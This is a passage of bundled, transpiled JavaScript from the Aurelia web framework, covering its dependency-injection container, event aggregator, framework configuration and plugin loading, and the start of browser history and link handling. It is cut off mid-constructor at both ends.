_aureliaMetadata.metadata.define(_aureliaMetadata.metadata.invoker, value, target);
};
}
function invokeAsFactory(potentialTarget) {
var deco = function deco(target) {
_aureliaMetadata.metadata.define(_aureliaMetadata.metadata.invoker, FactoryInvoker.instance, target);
};
return potentialTarget ? deco(potentialTarget) : deco;
}
var FactoryInvoker = exports.FactoryInvoker = function () {
function FactoryInvoker() {
}
FactoryInvoker.prototype.invoke = function invoke(container, fn, dependencies) {
var i = dependencies.length;
var args = new Array(i);
while (i--) {
args[i] = container.get(dependencies[i]);
}
return fn.apply(undefined, args);
};
FactoryInvoker.prototype.invokeWithDynamicDependencies = function invokeWithDynamicDependencies(container, fn, staticDependencies, dynamicDependencies) {
var i = staticDependencies.length;
var args = new Array(i);
while (i--) {
args[i] = container.get(staticDependencies[i]);
}
if (dynamicDependencies !== undefined) {
args = args.concat(dynamicDependencies);
}
return fn.apply(undefined, args);
};
return FactoryInvoker;
}();
FactoryInvoker.instance = new FactoryInvoker();
function registration(value) {
return function (target) {
_aureliaMetadata.metadata.define(_aureliaMetadata.metadata.registration, value, target);
};
}
function transient(key) {
return registration(new TransientRegistration(key));
}
function singleton(keyOrRegisterInChild) {
var registerInChild = arguments.length <= 1 || arguments[1] === undefined ? false : arguments[1];
return registration(new SingletonRegistration(keyOrRegisterInChild, registerInChild));
}
var TransientRegistration = exports.TransientRegistration = function () {
function TransientRegistration(key) {
this._key = key;
}
TransientRegistration.prototype.registerResolver = function registerResolver(container, key, fn) {
var existingResolver = container.getResolver(this._key || key);
return existingResolver === undefined ? container.registerTransient(this._key || key, fn) : existingResolver;
};
return TransientRegistration;
}();
var SingletonRegistration = exports.SingletonRegistration = function () {
function SingletonRegistration(keyOrRegisterInChild) {
var registerInChild = arguments.length <= 1 || arguments[1] === undefined ? false : arguments[1];
if (typeof keyOrRegisterInChild === 'boolean') {
this._registerInChild = keyOrRegisterInChild;
} else {
this._key = keyOrRegisterInChild;
this._registerInChild = registerInChild;
}
}
SingletonRegistration.prototype.registerResolver = function registerResolver(container, key, fn) {
var targetContainer = this._registerInChild ? container : container.root;
var existingResolver = targetContainer.getResolver(this._key || key);
return existingResolver === undefined ? targetContainer.registerSingleton(this._key || key, fn) : existingResolver;
};
return SingletonRegistration;
}();
function validateKey(key) {
if (key === null || key === undefined) {
throw new Error('key/value cannot be null or undefined. Are you trying to inject/register something that doesn\'t exist with DI?');
}
}
var _emptyParameters = exports._emptyParameters = Object.freeze([]);
_aureliaMetadata.metadata.registration = 'aurelia:registration';
_aureliaMetadata.metadata.invoker = 'aurelia:invoker';
var resolverDecorates = resolver.decorates;
var InvocationHandler = exports.InvocationHandler = function () {
function InvocationHandler(fn, invoker, dependencies) {
this.fn = fn;
this.invoker = invoker;
this.dependencies = dependencies;
}
InvocationHandler.prototype.invoke = function invoke(container, dynamicDependencies) {
return dynamicDependencies !== undefined ? this.invoker.invokeWithDynamicDependencies(container, this.fn, this.dependencies, dynamicDependencies) : this.invoker.invoke(container, this.fn, this.dependencies);
};
return InvocationHandler;
}();
function invokeWithDynamicDependencies(container, fn, staticDependencies, dynamicDependencies) {
var i = staticDependencies.length;
var args = new Array(i);
while (i--) {
args[i] = container.get(staticDependencies[i]);
}
if (dynamicDependencies !== undefined) {
args = args.concat(dynamicDependencies);
}
return Reflect.construct(fn, args);
}
var classInvokers = (_classInvokers = {}, _classInvokers[0] = {
invoke: function invoke(container, Type) {
return new Type();
},
invokeWithDynamicDependencies: invokeWithDynamicDependencies
}, _classInvokers[1] = {
invoke: function invoke(container, Type, deps) {
return new Type(container.get(deps[0]));
},
invokeWithDynamicDependencies: invokeWithDynamicDependencies
}, _classInvokers[2] = {
invoke: function invoke(container, Type, deps) {
return new Type(container.get(deps[0]), container.get(deps[1]));
},
invokeWithDynamicDependencies: invokeWithDynamicDependencies
}, _classInvokers[3] = {
invoke: function invoke(container, Type, deps) {
return new Type(container.get(deps[0]), container.get(deps[1]), container.get(deps[2]));
},
invokeWithDynamicDependencies: invokeWithDynamicDependencies
}, _classInvokers[4] = {
invoke: function invoke(container, Type, deps) {
return new Type(container.get(deps[0]), container.get(deps[1]), container.get(deps[2]), container.get(deps[3]));
},
invokeWithDynamicDependencies: invokeWithDynamicDependencies
}, _classInvokers[5] = {
invoke: function invoke(container, Type, deps) {
return new Type(container.get(deps[0]), container.get(deps[1]), container.get(deps[2]), container.get(deps[3]), container.get(deps[4]));
},
invokeWithDynamicDependencies: invokeWithDynamicDependencies
}, _classInvokers.fallback = {
invoke: invokeWithDynamicDependencies,
invokeWithDynamicDependencies: invokeWithDynamicDependencies
}, _classInvokers);
function getDependencies(f) {
if (!f.hasOwnProperty('inject')) {
return [];
}
if (typeof f.inject === 'function') {
return f.inject();
}
return f.inject;
}
var Container = exports.Container = function () {
function Container(configuration) {
if (configuration === undefined) {
configuration = {};
}
this._configuration = configuration;
this._onHandlerCreated = configuration.onHandlerCreated;
this._handlers = configuration.handlers || (configuration.handlers = new Map());
this._resolvers = new Map();
this.root = this;
this.parent = null;
}
Container.prototype.makeGlobal = function makeGlobal() {
Container.instance = this;
return this;
};
Container.prototype.setHandlerCreatedCallback = function setHandlerCreatedCallback(onHandlerCreated) {
this._onHandlerCreated = onHandlerCreated;
this._configuration.onHandlerCreated = onHandlerCreated;
};
Container.prototype.registerInstance = function registerInstance(key, instance) {
return this.registerResolver(key, new StrategyResolver(0, instance === undefined ? key : instance));
};
Container.prototype.registerSingleton = function registerSingleton(key, fn) {
return this.registerResolver(key, new StrategyResolver(1, fn === undefined ? key : fn));
};
Container.prototype.registerTransient = function registerTransient(key, fn) {
return this.registerResolver(key, new StrategyResolver(2, fn === undefined ? key : fn));
};
Container.prototype.registerHandler = function registerHandler(key, handler) {
return this.registerResolver(key, new StrategyResolver(3, handler));
};
Container.prototype.registerAlias = function registerAlias(originalKey, aliasKey) {
return this.registerResolver(aliasKey, new StrategyResolver(5, originalKey));
};
Container.prototype.registerResolver = function registerResolver(key, resolver) {
validateKey(key);
var allResolvers = this._resolvers;
var result = allResolvers.get(key);
if (result === undefined) {
allResolvers.set(key, resolver);
} else if (result.strategy === 4) {
result.state.push(resolver);
} else {
allResolvers.set(key, new StrategyResolver(4, [result, resolver]));
}
return resolver;
};
Container.prototype.autoRegister = function autoRegister(key, fn) {
fn = fn === undefined ? key : fn;
if (typeof fn === 'function') {
var _registration = _aureliaMetadata.metadata.get(_aureliaMetadata.metadata.registration, fn);
if (_registration === undefined) {
return this.registerResolver(key, new StrategyResolver(1, fn));
}
return _registration.registerResolver(this, key, fn);
}
return this.registerResolver(key, new StrategyResolver(0, fn));
};
Container.prototype.autoRegisterAll = function autoRegisterAll(fns) {
var i = fns.length;
while (i--) {
this.autoRegister(fns[i]);
}
};
Container.prototype.unregister = function unregister(key) {
this._resolvers.delete(key);
};
Container.prototype.hasResolver = function hasResolver(key) {
var checkParent = arguments.length <= 1 || arguments[1] === undefined ? false : arguments[1];
validateKey(key);
return this._resolvers.has(key) || checkParent && this.parent !== null && this.parent.hasResolver(key, checkParent);
};
Container.prototype.getResolver = function getResolver(key) {
return this._resolvers.get(key);
};
Container.prototype.get = function get(key) {
validateKey(key);
if (key === Container) {
return this;
}
if (resolverDecorates(key)) {
return key.get(this, key);
}
var resolver = this._resolvers.get(key);
if (resolver === undefined) {
if (this.parent === null) {
return this.autoRegister(key).get(this, key);
}
var _registration2 = _aureliaMetadata.metadata.get(_aureliaMetadata.metadata.registration, key);
if (_registration2 === undefined) {
return this.parent._get(key);
}
return _registration2.registerResolver(this, key, key).get(this, key);
}
return resolver.get(this, key);
};
Container.prototype._get = function _get(key) {
var resolver = this._resolvers.get(key);
if (resolver === undefined) {
if (this.parent === null) {
return this.autoRegister(key).get(this, key);
}
return this.parent._get(key);
}
return resolver.get(this, key);
};
Container.prototype.getAll = function getAll(key) {
validateKey(key);
var resolver = this._resolvers.get(key);
if (resolver === undefined) {
if (this.parent === null) {
return _emptyParameters;
}
return this.parent.getAll(key);
}
if (resolver.strategy === 4) {
var state = resolver.state;
var i = state.length;
var results = new Array(i);
while (i--) {
results[i] = state[i].get(this, key);
}
return results;
}
return [resolver.get(this, key)];
};
Container.prototype.createChild = function createChild() {
var child = new Container(this._configuration);
child.root = this.root;
child.parent = this;
return child;
};
Container.prototype.invoke = function invoke(fn, dynamicDependencies) {
try {
var _handler = this._handlers.get(fn);
if (_handler === undefined) {
_handler = this._createInvocationHandler(fn);
this._handlers.set(fn, _handler);
}
return _handler.invoke(this, dynamicDependencies);
} catch (e) {
throw new _aureliaPal.AggregateError('Error invoking ' + fn.name + '. Check the inner error for details.', e, true);
}
};
Container.prototype._createInvocationHandler = function _createInvocationHandler(fn) {
var dependencies = void 0;
if (fn.inject === undefined) {
dependencies = _aureliaMetadata.metadata.getOwn(_aureliaMetadata.metadata.paramTypes, fn) || _emptyParameters;
} else {
dependencies = [];
var ctor = fn;
while (typeof ctor === 'function') {
var _dependencies;
(_dependencies = dependencies).push.apply(_dependencies, getDependencies(ctor));
ctor = Object.getPrototypeOf(ctor);
}
}
var invoker = _aureliaMetadata.metadata.getOwn(_aureliaMetadata.metadata.invoker, fn) || classInvokers[dependencies.length] || classInvokers.fallback;
var handler = new InvocationHandler(fn, invoker, dependencies);
return this._onHandlerCreated !== undefined ? this._onHandlerCreated(handler) : handler;
};
return Container;
}();
function autoinject(potentialTarget) {
var deco = function deco(target) {
var previousInject = target.inject ? target.inject.slice() : null;
var autoInject = _aureliaMetadata.metadata.getOwn(_aureliaMetadata.metadata.paramTypes, target) || _emptyParameters;
if (!previousInject) {
target.inject = autoInject;
} else {
for (var i = 0; i < autoInject.length; i++) {
if (previousInject[i] && previousInject[i] !== autoInject[i]) {
var prevIndex = previousInject.indexOf(autoInject[i]);
if (prevIndex > -1) {
previousInject.splice(prevIndex, 1);
}
previousInject.splice(prevIndex > -1 && prevIndex < i ? i - 1 : i, 0, autoInject[i]);
} else if (!previousInject[i]) {
previousInject[i] = autoInject[i];
}
}
target.inject = previousInject;
}
};
return potentialTarget ? deco(potentialTarget) : deco;
}
function inject() {
for (var _len5 = arguments.length, rest = Array(_len5), _key5 = 0; _key5 < _len5; _key5++) {
rest[_key5] = arguments[_key5];
}
return function (target, key, descriptor) {
if (typeof descriptor === 'number' && rest.length === 1) {
var params = target.inject;
if (typeof params === 'function') {
throw new Error('Decorator inject cannot be used with "inject()". Please use an array instead.');
}
if (!params) {
params = _aureliaMetadata.metadata.getOwn(_aureliaMetadata.metadata.paramTypes, target).slice();
target.inject = params;
}
params[descriptor] = rest[0];
return;
}
if (descriptor) {
var _fn = descriptor.value;
_fn.inject = rest;
} else {
target.inject = rest;
}
};
}
});
define('aurelia-event-aggregator',['exports', 'aurelia-logging'], function (exports, _aureliaLogging) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.EventAggregator = undefined;
exports.includeEventsIn = includeEventsIn;
exports.configure = configure;
var LogManager = _interopRequireWildcard(_aureliaLogging);
function _interopRequireWildcard(obj) {
if (obj && obj.__esModule) {
return obj;
} else {
var newObj = {};
if (obj != null) {
for (var key in obj) {
if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key];
}
}
newObj.default = obj;
return newObj;
}
}
var logger = LogManager.getLogger('event-aggregator');
var Handler = function () {
function Handler(messageType, callback) {
this.messageType = messageType;
this.callback = callback;
}
Handler.prototype.handle = function handle(message) {
if (message instanceof this.messageType) {
this.callback.call(null, message);
}
};
return Handler;
}();
function invokeCallback(callback, data, event) {
try {
callback(data, event);
} catch (e) {
logger.error(e);
}
}
function invokeHandler(handler, data) {
try {
handler.handle(data);
} catch (e) {
logger.error(e);
}
}
var EventAggregator = exports.EventAggregator = function () {
function EventAggregator() {
this.eventLookup = {};
this.messageHandlers = [];
}
EventAggregator.prototype.publish = function publish(event, data) {
var subscribers = void 0;
var i = void 0;
if (!event) {
throw new Error('Event was invalid.');
}
if (typeof event === 'string') {
subscribers = this.eventLookup[event];
if (subscribers) {
subscribers = subscribers.slice();
i = subscribers.length;
while (i--) {
invokeCallback(subscribers[i], data, event);
}
}
} else {
subscribers = this.messageHandlers.slice();
i = subscribers.length;
while (i--) {
invokeHandler(subscribers[i], event);
}
}
};
EventAggregator.prototype.subscribe = function subscribe(event, callback) {
var handler = void 0;
var subscribers = void 0;
if (!event) {
throw new Error('Event channel/type was invalid.');
}
if (typeof event === 'string') {
handler = callback;
subscribers = this.eventLookup[event] || (this.eventLookup[event] = []);
} else {
handler = new Handler(event, callback);
subscribers = this.messageHandlers;
}
subscribers.push(handler);
return {
dispose: function dispose() {
var idx = subscribers.indexOf(handler);
if (idx !== -1) {
subscribers.splice(idx, 1);
}
}
};
};
EventAggregator.prototype.subscribeOnce = function subscribeOnce(event, callback) {
var sub = this.subscribe(event, function (a, b) {
sub.dispose();
return callback(a, b);
});
return sub;
};
return EventAggregator;
}();
function includeEventsIn(obj) {
var ea = new EventAggregator();
obj.subscribeOnce = function (event, callback) {
return ea.subscribeOnce(event, callback);
};
obj.subscribe = function (event, callback) {
return ea.subscribe(event, callback);
};
obj.publish = function (event, data) {
ea.publish(event, data);
};
return ea;
}
function configure(config) {
config.instance(EventAggregator, includeEventsIn(config.aurelia));
}
});
define('aurelia-framework',['exports', 'aurelia-dependency-injection', 'aurelia-binding', 'aurelia-metadata', 'aurelia-templating', 'aurelia-loader', 'aurelia-task-queue', 'aurelia-path', 'aurelia-pal', 'aurelia-logging'], function (exports, _aureliaDependencyInjection, _aureliaBinding, _aureliaMetadata, _aureliaTemplating, _aureliaLoader, _aureliaTaskQueue, _aureliaPath, _aureliaPal, _aureliaLogging) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.LogManager = exports.FrameworkConfiguration = exports.Aurelia = undefined;
Object.keys(_aureliaDependencyInjection).forEach(function (key) {
if (key === "default" || key === "__esModule") return;
Object.defineProperty(exports, key, {
enumerable: true,
get: function () {
return _aureliaDependencyInjection[key];
}
});
});
Object.keys(_aureliaBinding).forEach(function (key) {
if (key === "default" || key === "__esModule") return;
Object.defineProperty(exports, key, {
enumerable: true,
get: function () {
return _aureliaBinding[key];
}
});
});
Object.keys(_aureliaMetadata).forEach(function (key) {
if (key === "default" || key === "__esModule") return;
Object.defineProperty(exports, key, {
enumerable: true,
get: function () {
return _aureliaMetadata[key];
}
});
});
Object.keys(_aureliaTemplating).forEach(function (key) {
if (key === "default" || key === "__esModule") return;
Object.defineProperty(exports, key, {
enumerable: true,
get: function () {
return _aureliaTemplating[key];
}
});
});
Object.keys(_aureliaLoader).forEach(function (key) {
if (key === "default" || key === "__esModule") return;
Object.defineProperty(exports, key, {
enumerable: true,
get: function () {
return _aureliaLoader[key];
}
});
});
Object.keys(_aureliaTaskQueue).forEach(function (key) {
if (key === "default" || key === "__esModule") return;
Object.defineProperty(exports, key, {
enumerable: true,
get: function () {
return _aureliaTaskQueue[key];
}
});
});
Object.keys(_aureliaPath).forEach(function (key) {
if (key === "default" || key === "__esModule") return;
Object.defineProperty(exports, key, {
enumerable: true,
get: function () {
return _aureliaPath[key];
}
});
});
Object.keys(_aureliaPal).forEach(function (key) {
if (key === "default" || key === "__esModule") return;
Object.defineProperty(exports, key, {
enumerable: true,
get: function () {
return _aureliaPal[key];
}
});
});
var TheLogManager = _interopRequireWildcard(_aureliaLogging);
function _interopRequireWildcard(obj) {
if (obj && obj.__esModule) {
return obj;
} else {
var newObj = {};
if (obj != null) {
for (var key in obj) {
if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key];
}
}
newObj.default = obj;
return newObj;
}
}
function preventActionlessFormSubmit() {
_aureliaPal.DOM.addEventListener('submit', function (evt) {
var target = evt.target;
var action = target.action;
if (target.tagName.toLowerCase() === 'form' && !action) {
evt.preventDefault();
}
});
}
var Aurelia = exports.Aurelia = function () {
function Aurelia(loader, container, resources) {
this.loader = loader || new _aureliaPal.PLATFORM.Loader();
this.container = container || new _aureliaDependencyInjection.Container().makeGlobal();
this.resources = resources || new _aureliaTemplating.ViewResources();
this.use = new FrameworkConfiguration(this);
this.logger = TheLogManager.getLogger('aurelia');
this.hostConfigured = false;
this.host = null;
this.use.instance(Aurelia, this);
this.use.instance(_aureliaLoader.Loader, this.loader);
this.use.instance(_aureliaTemplating.ViewResources, this.resources);
}
Aurelia.prototype.start = function start() {
var _this = this;
if (this._started) {
return this._started;
}
this.logger.info('Aurelia Starting');
return this._started = this.use.apply().then(function () {
preventActionlessFormSubmit();
if (!_this.container.hasResolver(_aureliaTemplating.BindingLanguage)) {
var message = 'You must configure Aurelia with a BindingLanguage implementation.';
_this.logger.error(message);
throw new Error(message);
}
_this.logger.info('Aurelia Started');
var evt = _aureliaPal.DOM.createCustomEvent('aurelia-started', { bubbles: true, cancelable: true });
_aureliaPal.DOM.dispatchEvent(evt);
return _this;
});
};
Aurelia.prototype.enhance = function enhance() {
var _this2 = this;
var bindingContext = arguments.length <= 0 || arguments[0] === undefined ? {} : arguments[0];
var applicationHost = arguments.length <= 1 || arguments[1] === undefined ? null : arguments[1];
this._configureHost(applicationHost || _aureliaPal.DOM.querySelectorAll('body')[0]);
return new Promise(function (resolve) {
var engine = _this2.container.get(_aureliaTemplating.TemplatingEngine);
_this2.root = engine.enhance({ container: _this2.container, element: _this2.host, resources: _this2.resources, bindingContext: bindingContext });
_this2.root.attached();
_this2._onAureliaComposed();
resolve(_this2);
});
};
Aurelia.prototype.setRoot = function setRoot() {
var _this3 = this;
var root = arguments.length <= 0 || arguments[0] === undefined ? null : arguments[0];
var applicationHost = arguments.length <= 1 || arguments[1] === undefined ? null : arguments[1];
var instruction = {};
if (this.root && this.root.viewModel && this.root.viewModel.router) {
this.root.viewModel.router.deactivate();
this.root.viewModel.router.reset();
}
this._configureHost(applicationHost);
var engine = this.container.get(_aureliaTemplating.TemplatingEngine);
var transaction = this.container.get(_aureliaTemplating.CompositionTransaction);
delete transaction.initialComposition;
if (!root) {
if (this.configModuleId) {
root = (0, _aureliaPath.relativeToFile)('./app', this.configModuleId);
} else {
root = 'app';
}
}
instruction.viewModel = root;
instruction.container = instruction.childContainer = this.container;
instruction.viewSlot = this.hostSlot;
instruction.host = this.host;
return engine.compose(instruction).then(function (r) {
_this3.root = r;
instruction.viewSlot.attached();
_this3._onAureliaComposed();
return _this3;
});
};
Aurelia.prototype._configureHost = function _configureHost(applicationHost) {
if (this.hostConfigured) {
return;
}
applicationHost = applicationHost || this.host;
if (!applicationHost || typeof applicationHost === 'string') {
this.host = _aureliaPal.DOM.getElementById(applicationHost || 'applicationHost');
} else {
this.host = applicationHost;
}
if (!this.host) {
throw new Error('No applicationHost was specified.');
}
this.hostConfigured = true;
this.host.aurelia = this;
this.hostSlot = new _aureliaTemplating.ViewSlot(this.host, true);
this.hostSlot.transformChildNodesIntoView();
this.container.registerInstance(_aureliaPal.DOM.boundary, this.host);
};
Aurelia.prototype._onAureliaComposed = function _onAureliaComposed() {
var evt = _aureliaPal.DOM.createCustomEvent('aurelia-composed', { bubbles: true, cancelable: true });
setTimeout(function () {
return _aureliaPal.DOM.dispatchEvent(evt);
}, 1);
};
return Aurelia;
}();
var logger = TheLogManager.getLogger('aurelia');
var extPattern = /\.[^/.]+$/;
function runTasks(config, tasks) {
var current = void 0;
var next = function next() {
current = tasks.shift();
if (current) {
return Promise.resolve(current(config)).then(next);
}
return Promise.resolve();
};
return next();
}
function loadPlugin(config, loader, info) {
logger.debug('Loading plugin ' + info.moduleId + '.');
config.resourcesRelativeTo = info.resourcesRelativeTo;
var id = info.moduleId;
if (info.resourcesRelativeTo.length > 1) {
return loader.normalize(info.moduleId, info.resourcesRelativeTo[1]).then(function (normalizedId) {
return _loadPlugin(normalizedId);
});
}
return _loadPlugin(id);
function _loadPlugin(moduleId) {
return loader.loadModule(moduleId).then(function (m) {
if ('configure' in m) {
return Promise.resolve(m.configure(config, info.config || {})).then(function () {
config.resourcesRelativeTo = null;
logger.debug('Configured plugin ' + info.moduleId + '.');
});
}
config.resourcesRelativeTo = null;
logger.debug('Loaded plugin ' + info.moduleId + '.');
});
}
}
function loadResources(aurelia, resourcesToLoad, appResources) {
var viewEngine = aurelia.container.get(_aureliaTemplating.ViewEngine);
return Promise.all(Object.keys(resourcesToLoad).map(function (n) {
return _normalize(resourcesToLoad[n]);
})).then(function (loads) {
var names = [];
var importIds = [];
loads.forEach(function (l) {
names.push(undefined);
importIds.push(l.importId);
});
return viewEngine.importViewResources(importIds, names, appResources);
});
function _normalize(load) {
var moduleId = load.moduleId;
var ext = getExt(moduleId);
if (isOtherResource(moduleId)) {
moduleId = removeExt(moduleId);
}
return aurelia.loader.normalize(moduleId, load.relativeTo).then(function (normalized) {
return {
name: load.moduleId,
importId: isOtherResource(load.moduleId) ? addOriginalExt(normalized, ext) : normalized
};
});
}
function isOtherResource(name) {
var ext = getExt(name);
if (!ext) return false;
if (ext === '') return false;
if (ext === '.js' || ext === '.ts') return false;
return true;
}
function removeExt(name) {
return name.replace(extPattern, '');
}
function addOriginalExt(normalized, ext) {
return removeExt(normalized) + '.' + ext;
}
}
function getExt(name) {
var match = name.match(extPattern);
if (match && match.length > 0) {
return match[0].split('.')[1];
}
}
function assertProcessed(plugins) {
if (plugins.processed) {
throw new Error('This config instance has already been applied. To load more plugins or global resources, create a new FrameworkConfiguration instance.');
}
}
var FrameworkConfiguration = function () {
function FrameworkConfiguration(aurelia) {
var _this4 = this;
this.aurelia = aurelia;
this.container = aurelia.container;
this.info = [];
this.processed = false;
this.preTasks = [];
this.postTasks = [];
this.resourcesToLoad = {};
this.preTask(function () {
return aurelia.loader.normalize('aurelia-bootstrapper').then(function (name) {
return _this4.bootstrapperName = name;
});
});
this.postTask(function () {
return loadResources(aurelia, _this4.resourcesToLoad, aurelia.resources);
});
}
FrameworkConfiguration.prototype.instance = function instance(type, _instance) {
this.container.registerInstance(type, _instance);
return this;
};
FrameworkConfiguration.prototype.singleton = function singleton(type, implementation) {
this.container.registerSingleton(type, implementation);
return this;
};
FrameworkConfiguration.prototype.transient = function transient(type, implementation) {
this.container.registerTransient(type, implementation);
return this;
};
FrameworkConfiguration.prototype.preTask = function preTask(task) {
assertProcessed(this);
this.preTasks.push(task);
return this;
};
FrameworkConfiguration.prototype.postTask = function postTask(task) {
assertProcessed(this);
this.postTasks.push(task);
return this;
};
FrameworkConfiguration.prototype.feature = function feature(plugin) {
var config = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
var hasIndex = /\/index$/i.test(plugin);
var moduleId = hasIndex || getExt(plugin) ? plugin : plugin + '/index';
var root = hasIndex ? plugin.substr(0, plugin.length - 6) : plugin;
return this.plugin({ moduleId: moduleId, resourcesRelativeTo: [root, ''], config: config });
};
FrameworkConfiguration.prototype.globalResources = function globalResources(resources) {
assertProcessed(this);
var toAdd = Array.isArray(resources) ? resources : arguments;
var resource = void 0;
var resourcesRelativeTo = this.resourcesRelativeTo || ['', ''];
for (var i = 0, ii = toAdd.length; i < ii; ++i) {
resource = toAdd[i];
if (typeof resource !== 'string') {
throw new Error('Invalid resource path [' + resource + ']. Resources must be specified as relative module IDs.');
}
var parent = resourcesRelativeTo[0];
var grandParent = resourcesRelativeTo[1];
var name = resource;
if ((resource.startsWith('./') || resource.startsWith('../')) && parent !== '') {
name = (0, _aureliaPath.join)(parent, resource);
}
this.resourcesToLoad[name] = { moduleId: name, relativeTo: grandParent };
}
return this;
};
FrameworkConfiguration.prototype.globalName = function globalName(resourcePath, newName) {
assertProcessed(this);
this.resourcesToLoad[resourcePath] = { moduleId: newName, relativeTo: '' };
return this;
};
FrameworkConfiguration.prototype.plugin = function plugin(_plugin, config) {
assertProcessed(this);
if (typeof _plugin === 'string') {
return this.plugin({ moduleId: _plugin, resourcesRelativeTo: [_plugin, ''], config: config || {} });
}
this.info.push(_plugin);
return this;
};
FrameworkConfiguration.prototype._addNormalizedPlugin = function _addNormalizedPlugin(name, config) {
var _this5 = this;
var plugin = { moduleId: name, resourcesRelativeTo: [name, ''], config: config || {} };
this.plugin(plugin);
this.preTask(function () {
var relativeTo = [name, _this5.bootstrapperName];
plugin.moduleId = name;
plugin.resourcesRelativeTo = relativeTo;
return Promise.resolve();
});
return this;
};
FrameworkConfiguration.prototype.defaultBindingLanguage = function defaultBindingLanguage() {
return this._addNormalizedPlugin('aurelia-templating-binding');
};
FrameworkConfiguration.prototype.router = function router() {
return this._addNormalizedPlugin('aurelia-templating-router');
};
FrameworkConfiguration.prototype.history = function history() {
return this._addNormalizedPlugin('aurelia-history-browser');
};
FrameworkConfiguration.prototype.defaultResources = function defaultResources() {
return this._addNormalizedPlugin('aurelia-templating-resources');
};
FrameworkConfiguration.prototype.eventAggregator = function eventAggregator() {
return this._addNormalizedPlugin('aurelia-event-aggregator');
};
FrameworkConfiguration.prototype.basicConfiguration = function basicConfiguration() {
return this.defaultBindingLanguage().defaultResources().eventAggregator();
};
FrameworkConfiguration.prototype.standardConfiguration = function standardConfiguration() {
return this.basicConfiguration().history().router();
};
FrameworkConfiguration.prototype.developmentLogging = function developmentLogging() {
var _this6 = this;
this.preTask(function () {
return _this6.aurelia.loader.normalize('aurelia-logging-console', _this6.bootstrapperName).then(function (name) {
return _this6.aurelia.loader.loadModule(name).then(function (m) {
TheLogManager.addAppender(new m.ConsoleAppender());
TheLogManager.setLevel(TheLogManager.logLevel.debug);
});
});
});
return this;
};
FrameworkConfiguration.prototype.apply = function apply() {
var _this7 = this;
if (this.processed) {
return Promise.resolve();
}
return runTasks(this, this.preTasks).then(function () {
var loader = _this7.aurelia.loader;
var info = _this7.info;
var current = void 0;
var next = function next() {
current = info.shift();
if (current) {
return loadPlugin(_this7, loader, current).then(next);
}
_this7.processed = true;
return Promise.resolve();
};
return next().then(function () {
return runTasks(_this7, _this7.postTasks);
});
});
};
return FrameworkConfiguration;
}();
exports.FrameworkConfiguration = FrameworkConfiguration;
var LogManager = exports.LogManager = TheLogManager;
});
define('aurelia-history',['exports'], function (exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
function mi(name) {
throw new Error('History must implement ' + name + '().');
}
var History = exports.History = function () {
function History() {
}
History.prototype.activate = function activate(options) {
mi('activate');
};
History.prototype.deactivate = function deactivate() {
mi('deactivate');
};
History.prototype.getAbsoluteRoot = function getAbsoluteRoot() {
mi('getAbsoluteRoot');
};
History.prototype.navigate = function navigate(fragment, options) {
mi('navigate');
};
History.prototype.navigateBack = function navigateBack() {
mi('navigateBack');
};
History.prototype.setTitle = function setTitle(title) {
mi('setTitle');
};
return History;
}();
});
define('aurelia-history-browser',['exports', 'aurelia-pal', 'aurelia-history'], function (exports, _aureliaPal, _aureliaHistory) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.BrowserHistory = exports.DefaultLinkHandler = exports.LinkHandler = undefined;
exports.configure = configure;
var _class, _temp;
function _possibleConstructorReturn(self, call) {
if (!self) {
throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
}
return call && (typeof call === "object" || typeof call === "function") ? call : self;
}
function _inherits(subClass, superClass) {
if (typeof superClass !== "function" && superClass !== null) {
throw new TypeError("Super expression must either be null or a function, not " + typeof superClass);
}
subClass.prototype = Object.create(superClass && superClass.prototype, {
constructor: {
value: subClass,
enumerable: false,
writable: true,
configurable: true
}
});
if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass;
}
var LinkHandler = exports.LinkHandler = function () {
function LinkHandler() {
}
LinkHandler.prototype.activate = function activate(history) {};
LinkHandler.prototype.deactivate = function deactivate() {};
return LinkHandler;
}();
var DefaultLinkHandler = exports.DefaultLinkHandler = function (_LinkHandler) {
_inherits(DefaultLinkHandler, _LinkHandler);
function DefaultLinkHandler() {
var _this = _possibleConstructorReturn(this, _LinkHandler.call(this));
_this.handler = function (e) {
var _DefaultLinkHandler$g = DefaultLinkHandler.getEventInfo(e);
var shouldHandleEvent = _DefaultLinkHandler$g.shouldHandleEvent;
var href = _DefaultLinkHandler$g.href;
if (shouldHandleEvent) {
e.preventDefault();
_this.history.navigate(href);
}
};
return _this;
}
DefaultLinkHandler.prototype.activate = function activate(history) {
if (history._hasPushState) {
this.history = history;
_aureliaPal.DOM.addEventListener('click', this.handler, true);
}
};
DefaultLinkHandler.prototype.deactivate = function deactivate() {
_aureliaPal.DOM.removeEventListener('click', this.handler);
};
DefaultLinkHandler.getEventInfo = function getEventInfo(event) {
var info = {
shouldHandleEvent: false,
href: null,
anchor: null
};
var target = DefaultLinkHandler.findClosestAnchor(event.target);
if (!target || !DefaultLinkHandler.targetIsThisWindow(target)) {
return info;
}
if (event.altKey || event.ctrlKey || event.metaKey || event.shiftKey) {
return info;
}
var href = target.getAttribute('href');
info.anchor = target;
info.href = href;
var leftButtonClicked = event.which === 1;
var isRelative = href && !(href.charAt(0) === '#' || /^[a-z]+:/i.test(href));
info.shouldHandleEvent = leftButtonClicked && isRelative;
return info;
};
DefaultLinkHandler.findClosestAnchor = function findClosestAnchor(el) {
while (el) {
if (el.tagName === 'A') {
return el;
}
el = el.parentNode;
}
};
DefaultLinkHandler.targetIsThisWindow = function targetIsThisWindow(target) {
var targetWindow = target.getAttribute('target');
var win = _aureliaPal.PLATFORM.global;
return !targetWindow || targetWindow === win.name || targetWindow === '_self' || targetWindow === 'top' && win === win.top;
};
return DefaultLinkHandler;
}(LinkHandler);
function configure(config) {
config.singleton(_aureliaHistory.History, BrowserHistory);
config.transient(LinkHandler, DefaultLinkHandler);
}
var BrowserHistory = exports.BrowserHistory = (_temp = _class = function (_History) {
_inherits(BrowserHistory, _History);
function BrowserHistory(linkHandler) {
var _this2 = _possibleConstructorReturn(this, _History.call(this));
_this2._isActive = false;
